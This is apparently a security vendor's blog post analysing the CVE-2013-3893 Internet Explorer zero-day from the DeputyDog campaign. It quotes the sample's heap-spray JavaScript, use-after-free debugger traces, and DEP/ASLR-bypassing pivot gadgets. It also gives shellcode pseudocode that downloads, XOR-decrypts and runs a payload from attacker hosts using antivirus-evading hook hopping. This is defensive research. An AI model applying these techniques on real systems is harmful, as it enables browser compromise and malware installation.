Jump to content

Blog

Shield

Operation DeputyDog Part 2: Zero-Day Exploit Analysis (CVE-2013-3893)

In our previous blog post my colleagues Ned and Nart provided a detailed analysis on the Advanced Persistent Threat (APT) Campaign Operation DeputyDog. The campaign leveraged a zero-day vulnerability of Microsoft Internet Explorer (CVE-2013-3893). Microsoft provided an advisory and ‘Fix it’ blog post.

I am happy to announce that Xiaobo Chen, a well-known security researcher, has recently joined FireEye Labs. We worked together on the analysis of this zero-day vulnerability. In this blog, we will provide a deep dive on the exploitation part of the campaign.

Despite the targeted nature of these attacks, the exploit identifies numerous language packs (en, zh, fr, de, ja, pt, ko, ru) and software versions, which is uses to specify the correct ROP chain. Commented-out code suggests that the exploit initially targeted IE8 XP users, and IE8 and IE9 Windows 7 users who also had MS Office 2007 installed. In our tests, we observed that the exploit ran successfully on systems running both MS Office 2007 and 2010.

Mitigations

Microsoft’s ‘Fix it’ blog post contains their suggested mitigations for affected users.

Linking the exploit and dropper

Once the exploit succeeds, it instructs the browser to fetch a secondary payload on a server in South Korea at 218.38.28.99/index/4/img20130829.jpg. We did not find that exact dropper file name in the FireEye Dynamic Threat Intelligence (DTI); however, we theorized that the encoded date in the filename reflects when that particular attack was launched.

Upon performing filename similarity analysis from DTI, we looked for equivalent payload filenames likely used in these attacks on August 23, 2013, where the filename would have likely been img20130823.jpg. Sure enough, we find a matching reference in DTI, where the malicious executable was hosted on a server in Hong Kong at 210.176.3.130/it/img20130823.jpg. Although it had a .jpg file extension, it was not an image file. The file, when XORed with 0×95, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701).

Our conclusion that img20130829.jpg and img20130823.jpg are related is based on the following evidence:

  • Both dropper file names share a similar pattern.
  • Both dropper files appear to share similar URI paths:
    • img20130829.jpg – <IP>/index/4/
    • img20130823.jpg – <IP>/it/
  • The original exploit code referencing img20130829.jpg contained a reference to “runrun.exe” as the file name to store the dropper upon exploiting the browser. In a previously mentioned sample, related to img20130823.jpg, 645e29b7c6319295ae8b13ce8575dc1d, VirusTotal reports that this sample was submitted with an initial filename of “runrun.exe”, as well.

The bug

Triggering a certain event callback that frees CTreeNode objects causes CTreeNode objects to be released without updating their reference counters. Later calls to CElement::Doc attempt to use the freed memory, which can result in code execution for the attacker. We can see a CTreeNode object corrupted in windbg by setting gflags (also used for seeing the object’s size, per: http://zhodiac.hispahack.com/index.php?section=blog&month=1&year=2012):

0:008> d esi
04b84fb0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................
04b84fc0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................
04b84fd0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................
04b84fe0  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................
04b84ff0  0a 12 12 12 02 12 12 12-02 12 12 12 02 12 00 00  ................
04b85000  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
04b85010  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
04b85020  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

The heap trace indicates that ESI is allocated by a JS string, which corresponds to the heap manipulation with div.title attributes in the sample.

0:008> !heap -p -a@esi
address 04b84fb0 found in
_DPH_HEAP_ROOT @ 151000
in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
44cd720:          4b84fb0               50 -          4b84000             2000
7c919c0c ntdll!RtlAllocateHeap+0x00000e64
3cf49046 mshtml!_HeapAllocString+0x00000052
3cf4aa02 mshtml!CAttrValue::InitVariant+0x00000154
3cf46b9d mshtml!CAttrArray::Set+0x00000189
3cf46aeb mshtml!CAttrArray::Set+0x00000051
3cf4ab9c mshtml!CAttrArray::SetString+0x00000044
3cf4ab48 mshtml!BASICPROPPARAMS::SetString+0x00000069
3cf6bdeb mshtml!BASICPROPPARAMS::SetStringProperty+0x00000200
3cf3bc1e mshtml!CBase::put_StringHelper+0x00000064
3cf3bc53 mshtml!CBase::put_String+0x00000029
3cf6bd1b mshtml!GS_BSTR+0x000001ab
3cf8acf3 mshtml!CBase::ContextInvokeEx+0x000005d1
3cf96cc1 mshtml!CElement::ContextInvokeEx+0x0000009d
3cfa29e8 mshtml!CInput::VersionedInvokeEx+0x0000002d
3cf8a6f9 mshtml!PlainInvokeEx+0x000000ea
3ced0591 mshtml!CBase::Invoke+0x0000006e

Code execution

First, the sample sprays the heap with chunks of memory containing the address 0×12121212 followed by the ROP chain. The spray is laid out such that, when aligned to page boundaries, data at 0×12121202 will contain the pointer 0×12121212, the ROP chain will begin at 0×12121212, and the pivot will reside at 0×12121272.

To control the program after the bug is triggered, the sample must overwrite the improperly freed CTreeNode object. To do so, it needs first to know size of the CTreeNode object, which is 0×50 bytes in IE8 and 0×58 bytes in IE9.

Next, the sample allocates 10000 ‘div’ objects, and sets their ‘title’ attribute to a string the size of a CTreeNode object. It then frees the last half of the ‘title’ attributes by setting them to “”. It appears that the idea is to activate the low fragmentation heap, which will cause the heap to not coalesce the freed block, so later on they can reuse it. The sample then sprays the heap with a ROP chain specific to the running version of MS Office, allocates more ‘div’ objects with ‘title’ attributes, and triggers the bug. The hope is that the memory where the (now freed) CTreeNode objects resided will be filled with 0×12121202.
In the sample, we can see how the fake object is constructed:

if(llle.bok()) // Is the target running IE 8?
{
ccaakk=0x50;
}
if(llle.nine()) // Is the target running IE 9?
{
ccaakk=0x58;
}

var str=S(0×12121202);
while (str.length < ccaakk) str=str+str;
str=str.substr(0,(ccaakk-2)/2);

// init
for (i=0;i<10000;i++) {
vault.push(document.createElement(“div”));
vault[i].setAttribute(“title”,str);
}

// clean the last 5000 div’s title attribute
for (i=5000;i<10000;i++) {
vault[i].setAttribute(“title”,”");
}

// The newly allocated objects hopefully use the above freed memory locations
var tile=new Array();
for (i=0;i<10000;i++) {
tile.push(document.createElement(“div”));
tile[i].setAttribute(“title”,str);
}

CTreeNode object before and after corruption:

>> Before <<
eax=00000000 ebx=00000000 ecx=00000000 edx=00200ac8 esi=0020b668 edi=00200ac8
eip=3cf43eb9 esp=0162bdc0 ebp=0162be2c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
mshtml!CTreeNode::Release+0x27:
3cf43eb9 ff15c813ea3c    call    dword ptr [mshtml!_imp__HeapFree (3cea13c8)] ds:0023:3cea13c8={ntdll!RtlFreeHeap (7c90ff2d)}
0:014> d edx
00200ac8  68 b6 20 00 00 00 00 00-10 64 ff ff ff ff ff ff  h. ......d......
00200ad8  71 05 00 00 08 00 00 00-00 00 00 00 00 00 00 00  q...............
00200ae8  e8 09 20 00 48 e4 55 02-62 00 00 00 00 00 00 00  .. .H.U.b.......
00200af8  00 00 00 00 00 00 00 00-e8 e4 55 02 90 09 20 00  ..........U... .
00200b08  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
00200b18  23 66 a9 ea 00 01 08 ff-02 12 12 12 02 12 12 12  #f..............
00200b28  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................
00200b38  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  ................

>> After <<
(cb4.ca0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000100 ecx=12121202 edx=00000001 esi=00200ac8 edi=00000000
eip=3cf76780 esp=0162ce8c ebp=0162cea0 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CElement::Doc:
3cf76780 8b01            mov     eax,dword ptr [ecx]  ds:0023:12121202=????????
0:014> d esi
00200ac8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….
00200ad8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….
00200ae8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….
00200af8  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….
00200b08  0a 12 12 12 02 12 12 12-02 12 12 12 02 12 00 00  …………….
00200b18  23 66 a9 ea 00 01 08 ff-02 12 12 12 02 12 12 12  #f…………..
00200b28  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….
00200b38  02 12 12 12 02 12 12 12-02 12 12 12 02 12 12 12  …………….

The point where control is handed to the attacker:

mshtml!CElement::Doc+0x2:
3cf76b82 8b5070          mov     edx,dword ptr [eax+70h]
3cf76b85 ffd2            call    edx
3cf76b87 8b400c          mov     eax,dword ptr [eax+0Ch]
3cf76b8a c3              ret

A corrupted CElement pointer within the CTreeNode object is dereferenced to 0×12121202, where attacker supplied data is used instead of the object’s virtual function table, resulting in a call to a pivot in msvcrt on Windows XP and hxds on Windows 7. Use of hxds is interesting, and highlighted in Microsoft’s blog post, because the library doesn’t use ASLR. Resultantly, ROP chains into hxds inherently bypass DEP and ASLR in Windows 7. While notable, however, this trick is well known.

Windows XP:
msvcrt!_pi_by_2_to_61+0x12db:
77c15ed5 94              xchg    eax,esp
77c15ed6 c3              ret

Windows 7:
hxds!DllGetClassObject+0x11f90:
00000000`51be4a41 94              xchg    eax,esp
00000000`51be4a42 c3              ret

Once the stack pointer has been adjusted to point at the attacker’s ROP chain, the next stage of shellcode is marked as executable and run.

Shellcode

The shellcode downloads an encrypted executable file to runrun.exe, decrypts the file in memory (by xor-ing each byte with 0×95), writes the file back to runrun.exe, and runs the decrypted executable. For the most part, the shellcode adheres to common practices: it is position independent, self-modifying with a simplistic single-byte xor encryption scheme, and obtains process addresses by hashing strings in memory. However, it uses an evasion technique called “Hook hopping” to bypass monitoring of the WinExec call. This is particularly interesting because only the final call to WinExec was protected in such a way, which suggests that the malware authors had targeted a subset of AV products. Additionally, downloading an executable encrypted b xor-ing each byte with 0×95 is a pattern seen in other APT attacks, including Aurora.

Pseudocode:
# Get path to directory of temporary files
kernel32!GetTempPathA(buf=stack_buffer,size=0x100)
# Add "runrun.exe" to the path
stack_buffer += "runrun.exe"
# Download encrypted executable to "runrun.exe"
urlmon!URLDownloadToFileA( 0,
url = "http://x.x.x.x/a_link_to_an.exe",
filename = stack_buffer,
# = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\runrun.exe" on xp
0,
0)
# Open handle to encrypted executable "runrun.exe"
filehandle = kernel32!CreateFileA( filename = stack_buffer,
access = 0xe0000000,
sharemode = 1,
0,
creationdisposition = 3,
flagsandattributes = 0x80,
0)
# Reset file pointer
kernel32!SetFilePointer(filehandle,0,0,0)
# Get size of file
filesize = kernel32!GetFileSize(filehandle,0)
# Allocate memory large enough to fit the file
filebuffer = kernel32!VirtualAlloc(0,filesize,0x1000,4)
# Read the file into the allocated memory
kernel32!ReadFile(filehandle,filebuffer,filesize,stack_buffer_238,0)
# Decrypt the file
for i in xrange(len(filebuffer)): filebuffer[i] ^= 0x95
# Reset file pointer
kernel32!SetFilePointer(filehandle,0,0,0)
# Write decrypted file back to disk
kernel32!WriteFile(filehandle,filebuffer,filesize, stack_buffer_238,0)
# Close file handle
kernel32!CloseHandle(filehandle)
HookHoppingWinExec = kernel32!WinExec+5
stack_buffer = "\"" + stack_buffer + "\"" (""C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\runrun.exe"")
# Run decrypted file
HookHoppingWinExec(stack_buffer)

We will continue to update this blog as new information about this threat is found.